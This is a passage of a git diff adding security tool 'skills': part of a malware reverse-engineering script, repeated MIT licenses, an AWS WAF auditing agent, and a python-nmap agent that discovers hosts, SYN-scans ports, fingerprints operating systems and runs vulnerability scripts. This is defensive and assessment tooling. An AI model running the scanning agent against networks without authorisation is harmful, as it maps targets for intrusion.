{}).get("os", ""), + "type": info.get("bin", {}).get("bintype", ""), + "compiler": info.get("bin", {}).get("compiler", ""), + }, + "function_count": len(functions), + "import_count": len(imports), + "string_count": len(strings), + "suspicious_imports": import_findings, + "network_indicators": network_strings[:20], + "sections": section_analysis, + "entry_points": [{"vaddr": e.get("vaddr"), "type": e.get("type")} for e in entry_points], + } + + +def extract_crypto_constants(filepath): + """Search binary for known cryptographic constants.""" + with open(filepath, "rb") as f: + data = f.read() + constants = { + "AES_SBOX": bytes([0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5]), + "RC4_INIT": bytes(range(256)), + "SHA256_INIT": bytes.fromhex("6a09e667bb67ae853c6ef372a54ff53a"), + "RSA_MAGIC": b"RSA1", + } + found = [] + for name, pattern in constants.items(): + offset = data.find(pattern) + if offset >= 0: + found.append({"constant": name, "offset": hex(offset)}) + return found + + +def analyze_malware(filepath, ghidra_path=None, output_dir="/tmp/ghidra_analysis"): + """Full malware analysis pipeline.""" + os.makedirs(output_dir, exist_ok=True) + report = {"file": os.path.basename(filepath)} + report["hashes"] = compute_hashes(filepath) + report["crypto_constants"] = extract_crypto_constants(filepath) + if r2pipe: + report["radare2"] = analyze_with_radare2(filepath) + if ghidra_path and os.path.exists(ghidra_path): + ghidra_result = run_ghidra_headless( + ghidra_path, output_dir, "malware_project", filepath + ) + report["ghidra"] = { + "analysis_complete": ghidra_result["returncode"] == 0, + "output": ghidra_result["stdout"][-500:], + } + return report + + +def print_report(report): + print("Malware Reverse Engineering Report") + print("=" * 50) + print(f"File: {report['file']}") + print(f"SHA-256: {report['hashes']['sha256']}") + print(f"Size: {report['hashes']['size']} bytes") + if report.get("crypto_constants"): + print(f"\nCrypto Constants Found:") + for c in report["crypto_constants"]: + print(f" {c['constant']} at {c['offset']}") + r2 = report.get("radare2", {}) + if r2 and "error" not in r2: + info = r2.get("info", {}) + print(f"\nBinary Info: {info.get('arch', '?')}/{info.get('bits', '?')}bit " + f"({info.get('os', '?')}) [{info.get('type', '?')}]") + print(f"Functions: {r2.get('function_count', 0)}") + print(f"Imports: {r2.get('import_count', 0)}") + if r2.get("suspicious_imports"): + print(f"\nSuspicious Imports:") + for imp in r2["suspicious_imports"]: + print(f" [{imp['category']}] {imp['library']} -> {imp['function']}") + if r2.get("network_indicators"): + print(f"\nNetwork Indicators:") + for ni in r2["network_indicators"][:10]: + print(f" {ni}") + print(f"\nSections:") + for sec in r2.get("sections", []): + flags = f" [{', '.join(sec['flags'])}]" if sec.get("flags") else "" + print(f" {sec['name']:10s} size={sec['size']:>8} entropy={sec.get('entropy', 0):.2f}{flags}") + if report.get("ghidra", {}).get("analysis_complete"): + print(f"\nGhidra: Analysis complete") + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python agent.py [ghidra_install_path]") + sys.exit(1) + binary = sys.argv[1] + ghidra = sys.argv[2] if len(sys.argv) > 2 else None + result = analyze_malware(binary, ghidra_path=ghidra) + print_report(result) diff --git a/skills/reverse-engineering-ransomware-encryption-routine/LICENSE b/skills/reverse-engineering-ransomware-encryption-routine/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/reverse-engineering-ransomware-encryption-routine/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/reverse-engineering-rust-malware/LICENSE b/skills/reverse-engineering-rust-malware/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/reverse-engineering-rust-malware/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/scanning-container-images-with-grype/LICENSE b/skills/scanning-container-images-with-grype/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/scanning-container-images-with-grype/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/scanning-containers-with-trivy-in-cicd/LICENSE b/skills/scanning-containers-with-trivy-in-cicd/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/scanning-containers-with-trivy-in-cicd/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/scanning-docker-images-with-trivy/LICENSE b/skills/scanning-docker-images-with-trivy/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/scanning-docker-images-with-trivy/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/scanning-infrastructure-with-nessus/LICENSE b/skills/scanning-infrastructure-with-nessus/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/scanning-infrastructure-with-nessus/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/scanning-kubernetes-manifests-with-kubesec/LICENSE b/skills/scanning-kubernetes-manifests-with-kubesec/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/scanning-kubernetes-manifests-with-kubesec/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/scanning-network-with-nmap-advanced/LICENSE b/skills/scanning-network-with-nmap-advanced/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/scanning-network-with-nmap-advanced/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/scanning-network-with-nmap-advanced/references/api-reference.md b/skills/scanning-network-with-nmap-advanced/references/api-reference.md new file mode 100644 index 00000000..c5b15b5f --- /dev/null +++ b/skills/scanning-network-with-nmap-advanced/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Scanning Network with Nmap Advanced + +## python-nmap Library + +### Installation +```bash +pip install python-nmap +``` +Requires Nmap binary installed on the system (`nmap` must be in PATH). + +### Core Classes + +#### `nmap.PortScanner()` +Main scanner class wrapping the Nmap command-line tool. + +| Method | Parameters | Returns | Description | +|--------|-----------|---------|-------------| +| `scan()` | `hosts`, `ports`, `arguments` | `dict` | Execute Nmap scan with given arguments | +| `all_hosts()` | - | `list[str]` | List of all scanned host IPs | +| `nmap_version()` | - | `tuple` | Installed Nmap version | +| `command_line()` | - | `str` | Nmap command that was executed | + +#### Scanner Result Access +```python +scanner[host].state() # Host state: 'up' or 'down' +scanner[host].all_protocols() # ['tcp', 'udp'] +scanner[host][proto].keys() # List of port numbers +scanner[host][proto][port] # Port info dict with keys: state, name, product, version +scanner[host].hostnames() # [{'name': 'hostname', 'type': 'PTR'}] +scanner[host]['osmatch'] # OS detection results +``` + +### Common Nmap Arguments +| Argument | Purpose | +|----------|---------| +| `-sS` | TCP SYN scan (half-open, requires root) | +| `-sV` | Service version detection | +| `-sC` | Run default NSE scripts | +| `-O` | OS fingerprinting | +| `-sn` | Host discovery only (no port scan) | +| `--script vuln` | Run vulnerability detection scripts | +| `-T0` to `-T5` | Timing templates (paranoid to insane) | +| `--min-rate N` | Minimum packets per second | +| `-PE -PP -PS` | ICMP echo, timestamp, TCP SYN discovery probes | +| `-oX file` | Output results in XML format | + +### Output Parsing +```python +scanner.csv() # CSV-formatted scan results +scanner.scaninfo() # Scan metadata (type, services scanned) +scanner.scanstats() # Timing and host statistics +``` + +## References +- python-nmap docs: https://pypi.org/project/python-nmap/ +- Nmap Reference Guide: https://nmap.org/book/man.html +- NSE Script Categories: https://nmap.org/nsedoc/categories/ diff --git a/skills/scanning-network-with-nmap-advanced/scripts/agent.py b/skills/scanning-network-with-nmap-advanced/scripts/agent.py new file mode 100644 index 00000000..f33f969c --- /dev/null +++ b/skills/scanning-network-with-nmap-advanced/scripts/agent.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +"""Automated network scanning agent using python-nmap for authorized assessments.""" + +import nmap +import json +import csv +import sys +import os +import argparse +from datetime import datetime + + +def discover_hosts(scanner, target, timing="T4"): + """Run host discovery using multiple probe techniques.""" + print(f"[*] Discovering live hosts on {target}...") + scanner.scan(hosts=target, arguments=f"-sn -PE -PP -PS22,80,443,445,3389 -{timing}") + hosts = [] + for host in scanner.all_hosts(): + state = scanner[host].state() + if state == "up": + hosts.append(host) + hostnames = [h["name"] for h in scanner[host].hostnames() if h["name"]] + hostname_str = ", ".join(hostnames) if hostnames else "N/A" + print(f" [+] {host} ({hostname_str}) - {state}") + print(f"[*] Discovered {len(hosts)} live hosts") + return hosts + + +def scan_ports(scanner, hosts, ports="1-1024", timing="T4"): + """Run SYN scan on discovered hosts for specified ports.""" + results = {} + target_str = " ".join(hosts) if isinstance(hosts, list) else hosts + print(f"\n[*] Scanning ports {ports} on {len(hosts) if isinstance(hosts, list) else 1} host(s)...") + scanner.scan(hosts=target_str, ports=ports, arguments=f"-sS -{timing} --min-rate 3000 --max-retries 2") + for host in scanner.all_hosts(): + results[host] = [] + for proto in scanner[host].all_protocols(): + ports_list = sorted(scanner[host][proto].keys()) + for port in ports_list: + port_info = scanner[host][proto][port] + if port_info["state"] == "open": + results[host].append({ + "port": port, + "protocol": proto, + "state": port_info["state"], + "service": port_info.get("name", "unknown"), + "version": port_info.get("version", ""), + "product": port_info.get("product", ""), + }) + print(f" [+] {host}:{port}/{proto} - {port_info.get('name', '?')} " + f"{port_info.get('product', '')} {port_info.get('version', '')}") + return results + + +def service_version_scan(scanner, host, open_ports): + """Run aggressive service version detection on open ports.""" + port_str = ",".join(str(p["port"]) for p in open_ports) + print(f"\n[*] Running service version detection on {host} ports {port_str}...") + scanner.scan(hosts=host, ports=port_str, arguments="-sV --version-intensity 5 -sC -O --osscan-guess") + info = {"os_matches": [], "services": []} + if host in scanner.all_hosts(): + if "osmatch" in scanner[host]: + for os_match in scanner[host]["osmatch"][:3]: + info["os_matches"].append({"name": os_match["name"], "accuracy": os_match["accuracy"]}) + for proto in scanner[host].all_protocols(): + for port in sorted(scanner[host][proto].keys()): + svc = scanner[host][proto][port] + info["services"].append({ + "port": port, "protocol": proto, "service": svc.get("name", ""), + "product": svc.get("product", ""), "version": svc.get("version", ""), + "extrainfo": svc.get("extrainfo", ""), + }) + return info + + +def vuln_scan(scanner, host, open_ports): + """Run NSE vulnerability scripts against open ports.""" + port_str = ",".join(str(p["port"]) for p in open_ports) + print(f"\n[*] Running vulnerability scripts on {host}...") + scanner.scan(hosts=host, ports=port_str, arguments="--script vuln") + vulns = [] + if host in scanner.all_hosts(): + for proto in scanner[host].all_protocols(): + for port in scanner[host][proto]: + svc = scanner[host][proto][port] + if "script" in svc: + for script_name, output in svc["script"].items(): + if "VULNERABLE" in str(output).upper() or "CVE-" in str(output).upper(): + vulns.append({"host": host, "port": port, "script": script_name, "output": output[:500]}) + print(f" [!] VULN {host}:{port} - {script_name}") + return vulns + + +def generate_report(discovery, port_results, version_info, vulnerabilities, output_dir): + """Generate JSON and CSV reports from scan results.""" + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + report = { + "scan_date": datetime.now().isoformat(), + "hosts_discovered": len(discovery), + "hosts": discovery, + "port_scan_results": port_results, + "version_info": version_info, + "vulnerabilities": vulnerabilities, + } + json_path = os.path.join(output_dir, f"scan_report_{timestamp}.json") + with open(json_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] JSON report saved to {json_path}") + + csv_path = os.path.join(output_dir, f"open_ports_{timestamp}.csv") + with open(csv_path, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(["Host", "Port", "Protocol", "Service", "Product", "Version"]) + for host, ports in port_results.items(): + for p in ports: + writer.writerow([host, p["port"], p["protocol"], p["service"], p["product"], p["version"]]) + print(f"[*] CSV report saved to {csv_path}") + return json_path, csv_path + + +def main(): + parser = argparse.ArgumentParser(description="Nmap Advanced Network Scanner Agent") + parser.add_argument("target", help="Target IP, CIDR range, or hostname") + parser.add_argument("-p", "--ports", default="1-1024", help="Port range to scan (default: 1-1024)") + parser.add_argument("-t", "--timing", default="T4", choices=["T0", "T1", "T2", "T3", "T4", "T5"]) + parser.add_argument("--vuln", action="store_true", help="Run NSE vulnerability scripts") + parser.add_argument("--version-scan", action="store_true", help="Run service version detection") + parser.add_argument("-o", "--output", default=".", help="Output directory for reports") + args = parser.parse_args() + + os.makedirs(args.output, exist_ok=True) + scanner = nmap.PortScanner() + print(f"[*] Nmap version: {scanner.nmap_version()}") + print(f"[*] Target: {args.target} | Ports: {args.ports} | Timing: {args.timing}") + + hosts = discover_hosts(scanner, args.target, args.timing) + if not hosts: + print("[-] No live hosts found. Exiting.") + sys.exit(0) + + port_results = scan_ports(scanner, hosts, args.ports, args.timing) + version_info, vulnerabilities = {}, [] + + for host, open_ports in port_results.items(): + if not open_ports: + continue + if args.version_scan: + version_info[host] = service_version_scan(scanner, host, open_ports) + if args.vuln: + vulnerabilities.extend(vuln_scan(scanner, host, open_ports)) + + generate_report(hosts, port_results, version_info, vulnerabilities, args.output) + total_open = sum(len(p) for p in port_results.values()) + print(f"\n[*] Scan complete: {len(hosts)} hosts, {total_open} open ports, {len(vulnerabilities)} vulns found") + + +if __name__ == "__main__": + main() diff --git a/skills/securing-api-gateway-with-aws-waf/LICENSE b/skills/securing-api-gateway-with-aws-waf/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/securing-api-gateway-with-aws-waf/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/securing-api-gateway-with-aws-waf/references/api-reference.md b/skills/securing-api-gateway-with-aws-waf/references/api-reference.md new file mode 100644 index 00000000..af19e569 --- /dev/null +++ b/skills/securing-api-gateway-with-aws-waf/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Securing API Gateway with AWS WAF + +## boto3 WAFv2 Client + +### Installation +```bash +pip install boto3 +``` + +### Client Initialization +```python +client = boto3.client("wafv2", region_name="us-east-1") +``` + +### Key Methods + +| Method | Description | +|--------|-------------| +| `create_web_acl()` | Create a new Web ACL with rules and default action | +| `update_web_acl()` | Modify rules, requires `LockToken` for optimistic concurrency | +| `get_web_acl()` | Retrieve full Web ACL configuration and lock token | +| `list_web_acls()` | List all Web ACLs in a scope (REGIONAL or CLOUDFRONT) | +| `associate_web_acl()` | Attach Web ACL to API Gateway, ALB, or AppSync | +| `get_sampled_requests()` | Retrieve sampled requests for a specific rule metric | +| `get_rate_based_statement_managed_keys()` | Get IPs currently rate-limited | +| `put_logging_configuration()` | Configure WAF logging to Firehose/S3 | +| `list_resources_for_web_acl()` | List resources associated with a Web ACL | + +### Managed Rule Groups +| Rule Group | Protection | +|-----------|------------| +| `AWSManagedRulesCommonRuleSet` | OWASP Top 10 common attacks | +| `AWSManagedRulesSQLiRuleSet` | SQL injection patterns | +| `AWSManagedRulesKnownBadInputsRuleSet` | Known bad request patterns | +| `AWSManagedRulesAmazonIpReputationList` | Malicious IP blocking | +| `AWSManagedRulesBotControlRuleSet` | Bot detection and management | + +### Rate-Based Rule Parameters +| Parameter | Type | Description | +|-----------|------|-------------| +| `Limit` | int | Max requests per 5-minute window (min: 100) | +| `AggregateKeyType` | str | `IP` or `FORWARDED_IP` | +| `ScopeDownStatement` | dict | Optional filter to scope rate limiting | + +### CloudWatch Metrics (Namespace: AWS/WAFV2) +| Metric | Description | +|--------|-------------| +| `AllowedRequests` | Requests allowed by WAF | +| `BlockedRequests` | Requests blocked by WAF | +| `CountedRequests` | Requests matched in Count mode | +| `PassedRequests` | Requests not matching any rule | + +## References +- boto3 WAFv2 docs: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/wafv2.html +- AWS WAF Developer Guide: https://docs.aws.amazon.com/waf/latest/developerguide/ +- AWS Managed Rules list: https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-list.html diff --git a/skills/securing-api-gateway-with-aws-waf/scripts/agent.py b/skills/securing-api-gateway-with-aws-waf/scripts/agent.py new file mode 100644 index 00000000..e3267b60 --- /dev/null +++ b/skills/securing-api-gateway-with-aws-waf/scripts/agent.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +"""Agent for managing AWS WAF Web ACLs protecting API Gateway endpoints.""" + +import boto3 +import json +import sys +import argparse +from datetime import datetime, timedelta, timezone + + +def get_waf_client(region="us-east-1"): + """Create WAFv2 client for regional resources.""" + return boto3.client("wafv2", region_name=region) + + +def list_web_acls(client, scope="REGIONAL"): + """List all Web ACLs in the account.""" + response = client.list_web_acls(Scope=scope) + acls = response.get("WebACLs", []) + print(f"[*] Found {len(acls)} Web ACL(s)") + for acl in acls: + print(f" - {acl['Name']} (ID: {acl['Id']})") + return acls + + +def get_web_acl_details(client, name, acl_id, scope="REGIONAL"): + """Get detailed Web ACL configuration including all rules.""" + response = client.get_web_acl(Name=name, Scope=scope, Id=acl_id) + acl = response["WebACL"] + lock_token = response["LockToken"] + print(f"\n[*] Web ACL: {acl['Name']}") + print(f" ARN: {acl['ARN']}") + print(f" Default Action: {list(acl['DefaultAction'].keys())[0]}") + print(f" Rules: {len(acl.get('Rules', []))}") + for rule in acl.get("Rules", []): + action = list(rule.get("Action", rule.get("OverrideAction", {})).keys())[0] + print(f" [{rule['Priority']}] {rule['Name']} -> {action}") + return acl, lock_token + + +def check_waf_association(client, web_acl_arn): + """Check which resources are associated with a Web ACL.""" + resource_types = ["API_GATEWAY", "APPLICATION_LOAD_BALANCER", "APPSYNC", "COGNITO_USER_POOL"] + associations = [] + for rt in resource_types: + try: + resp = client.list_resources_for_web_acl(WebACLArn=web_acl_arn, ResourceType=rt) + for arn in resp.get("ResourceArns", []): + associations.append({"type": rt, "arn": arn}) + print(f" [+] Associated: {rt} -> {arn}") + except client.exceptions.WAFInvalidParameterException: + continue + if not associations: + print(" [-] No resources associated with this Web ACL") + return associations + + +def get_sampled_requests(client, web_acl_arn, rule_metric, scope="REGIONAL", minutes=60): + """Get sampled requests for a specific rule to analyze blocks.""" + end_time = datetime.now(timezone.utc) + start_time = end_time - timedelta(minutes=minutes) + try: + response = client.get_sampled_requests( + WebAclArn=web_acl_arn, RuleMetricName=rule_metric, Scope=scope, + TimeWindow={"StartTime": start_time, "EndTime": end_time}, MaxItems=50, + ) + samples = response.get("SampledRequests", []) + print(f"\n[*] Sampled requests for rule '{rule_metric}': {len(samples)}") + for s in samples[:10]: + req = s["Request"] + print(f" [{s.get('Action', '?')}] {req['Method']} {req.get('URI', '/')} " + f"from {req.get('ClientIP', '?')} at {s.get('Timestamp', '?')}") + return samples + except Exception as e: + print(f" [-] Error getting samples: {e}") + return [] + + +def get_rate_based_keys(client, name, acl_id, rule_name, scope="REGIONAL"): + """Get IPs currently rate-limited by a rate-based rule.""" + try: + response = client.get_rate_based_statement_managed_keys( + Scope=scope, WebACLName=name, WebACLId=acl_id, RuleName=rule_name, + ) + keys = response.get("ManagedKeysIPV4", {}).get("Addresses", []) + keys += response.get("ManagedKeysIPV6", {}).get("Addresses", []) + print(f"\n[*] Rate-limited IPs for rule '{rule_name}': {len(keys)}") + for ip in keys: + print(f" [!] {ip}") + return keys + except Exception as e: + print(f" [-] Error: {e}") + return [] + + +def get_waf_metrics(region="us-east-1", acl_name="api-gateway-waf", hours=24): + """Get WAF CloudWatch metrics for blocked and allowed requests.""" + cw = boto3.client("cloudwatch", region_name=region) + end_time = datetime.now(timezone.utc) + start_time = end_time - timedelta(hours=hours) + metrics = {} + for metric_name in ["AllowedRequests", "BlockedRequests"]: + response = cw.get_metric_statistics( + Namespace="AWS/WAFV2", MetricName=metric_name, + Dimensions=[{"Name": "WebACL", "Value": acl_name}, {"Name": "Rule", "Value": "ALL"}], + StartTime=start_time, EndTime=end_time, Period=3600, Statistics=["Sum"], + ) + total = sum(dp["Sum"] for dp in response.get("Datapoints", [])) + metrics[metric_name] = total + print(f" {metric_name}: {int(total):,}") + return metrics + + +def audit_web_acl(client, name, acl_id, scope="REGIONAL"): + """Run a security audit on a Web ACL configuration.""" + acl, _ = get_web_acl_details(client, name, acl_id, scope) + findings = [] + rules = acl.get("Rules", []) + rule_names = [r["Name"] for r in rules] + recommended = ["AWSManagedRulesCommonRuleSet", "AWSManagedRulesKnownBadInputsRuleSet", + "AWSManagedRulesSQLiRuleSet", "AWSManagedRulesAmazonIpReputationList"] + for rec in recommended: + if not any(rec in rn for rn in rule_names): + findings.append(f"MISSING: Recommended managed rule group '{rec}' not found") + has_rate_rule = any("RateBasedStatement" in json.dumps(r.get("Statement", {})) for r in rules) + if not has_rate_rule: + findings.append("MISSING: No rate-based rule configured") + default_action = list(acl["DefaultAction"].keys())[0] + if default_action == "Allow": + print(" [INFO] Default action is Allow (standard for WAF)") + print(f"\n[*] Audit findings: {len(findings)}") + for f in findings: + print(f" [!] {f}") + return findings + + +def main(): + parser = argparse.ArgumentParser(description="AWS WAF API Gateway Security Agent") + parser.add_argument("action", choices=["list", "details", "audit", "metrics", "samples", "rate-keys"]) + 